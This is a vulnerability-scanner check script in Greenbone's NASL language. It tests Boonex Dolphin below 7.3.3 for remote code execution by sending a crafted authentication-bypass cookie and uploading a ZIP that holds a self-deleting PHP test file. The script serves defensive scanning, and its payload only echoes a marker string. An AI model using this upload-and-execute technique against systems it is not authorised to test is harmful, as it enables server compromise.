Boonex Dolphin < 7.3.3 RCE Vulnerability - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:boonex:dolphin";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140061");
  script_version("2024-11-08T15:39:48+0000");
  script_tag(name:"last_modification", value:"2024-11-08 15:39:48 +0000 (Fri, 08 Nov 2024)");
  script_tag(name:"creation_date", value:"2016-11-15 12:20:21 +0100 (Tue, 15 Nov 2016)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Boonex Dolphin < 7.3.3 RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_dolphin_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("boonex/dolphin/http/detected");

  script_tag(name:"summary", value:"Boonex Dolphin is prone to a remote code execution (RCE)
  vulnerability in '/administration/modules.php'.");

  script_tag(name:"vuldetect", value:"Uploads a .php file within a .zip file via a crafted HTTP POST
  request and tries to execute it.");

  script_tag(name:"solution", value:"Update to version 7.3.3 or later.");

  script_xref(name:"URL", value:"https://www.boonex.com/n/dolphinpro-7-3-3-released-important-security-upda");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/40756/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

rand = rand_str( length:8, charset:"abcdefghijklmnopqrstuvwxyz1234567890" );
vtstrings = get_vt_strings();

file = vtstrings["lowercase"] + '_' + rand + '.php';
zipfile = vtstrings["lowercase"] + '_' + rand + '.zip';
test_pattern = vtstrings["default"] + " RCE Test";
b64_pattern = base64( str:test_pattern );

# <?php echo base64_decode("T3BlblZBUyBSQ0UgVGVzdAo="); unlink(__FILE__); ?>
zip = raw_string(
0x50,0x4b,0x03,0x04,0x0a,0x00,0x00,0x00,0x00,0x00,0x99,0x5a,0x6f,0x49,0x4a,0x3e,
0x5f,0x42,0x4b,0x00,0x00,0x00,0x4b,0x00,0x00,0x00,0x14,0x00,0x1c,0x00) +
file +
raw_string(
0x55,0x54,0x09,0x00,0x03,0x81,0xe1,0x2a,0x58,0x7e,0xe0,0x2a,0x58,0x75,
0x78,0x0b,0x00,0x01,0x04,0xe8,0x03,0x00,0x00,0x04,0x64,0x00,0x00,0x00,0x3c,0x3f,
0x70,0x68,0x70,0x20,0x65,0x63,0x68,0x6f,0x20,0x62,0x61,0x73,0x65,0x36,0x34,0x5f,
0x64,0x65,0x63,0x6f,0x64,0x65,0x28,0x22) +
b64_pattern +
raw_string(
0x22,0x29,0x3b,0x20,0x75,0x6e,0x6c,0x69,0x6e,0x6b,0x28,0x5f,0x5f,0x46,0x49,0x4c,
0x45,0x5f,0x5f,0x29,0x3b,0x20,0x3f,0x3e,0x0a,0x50,0x4b,0x01,0x02,0x1e,0x03,0x0a,
0x00,0x00,0x00,0x00,0x00,0x99,0x5a,0x6f,0x49,0x4a,0x3e,0x5f,0x42,0x4b,0x00,0x00,
0x00,0x4b,0x00,0x00,0x00,0x14,0x00,0x18,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0xa4,0x81,0x00,0x00,0x00,0x00) +
file +
raw_string(
0x55,0x54,0x05,0x00,0x03,
0x81,0xe1,0x2a,0x58,0x75,0x78,0x0b,0x00,0x01,0x04,0xe8,0x03,0x00,0x00,0x04,0x64,
0x00,0x00,0x00,0x50,0x4b,0x05,0x06,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x5a,
0x00,0x00,0x00,0x99,0x00,0x00,0x00,0x00,0x00);

post_data = '-----------------------------\r\n' +
            'Content-Disposition: form-data; name="submit_upload"\r\n' +
            '\r\n' +
            vtstrings["lowercase"] + '\r\n' +
            '-----------------------------\r\n' +
            'Content-Disposition: form-data; name="csrf_token"\r\n' +
            '\r\n' +
            vtstrings["lowercase"] + '\r\n' +
            '-----------------------------\r\n' +
            'Content-Disposition: form-data; name="module"; filename="' + zipfile + '"\r\n' +
            'Content-Type: application/zip\r\n' +
            '\r\n' +
             zip + '\r\n' +
            '-------------------------------';

req = http_post_put_req( port:port, url:dir + '/administration/modules.php', data:post_data,
                         add_headers:make_array( "Cookie", string("memberID=1; memberPassword[]=", vtstrings["lowercase"], ";"),
                                                 "Content-Type", "multipart/form-data; boundary=---------------------------") );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( buf = http_vuln_check( port:port, url: dir + '/tmp/' + file, pattern:test_pattern ) ) {
  report = 'It was possible to upload `' + dir + '/tmp/' + file + '` and to execute it.\n\nContent of `' + file + '`:\n\n"<?php echo base64_decode(' + b64_pattern + '"); unlink(__FILE__); ?>"\n\nResponse:\n\n' + buf;
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );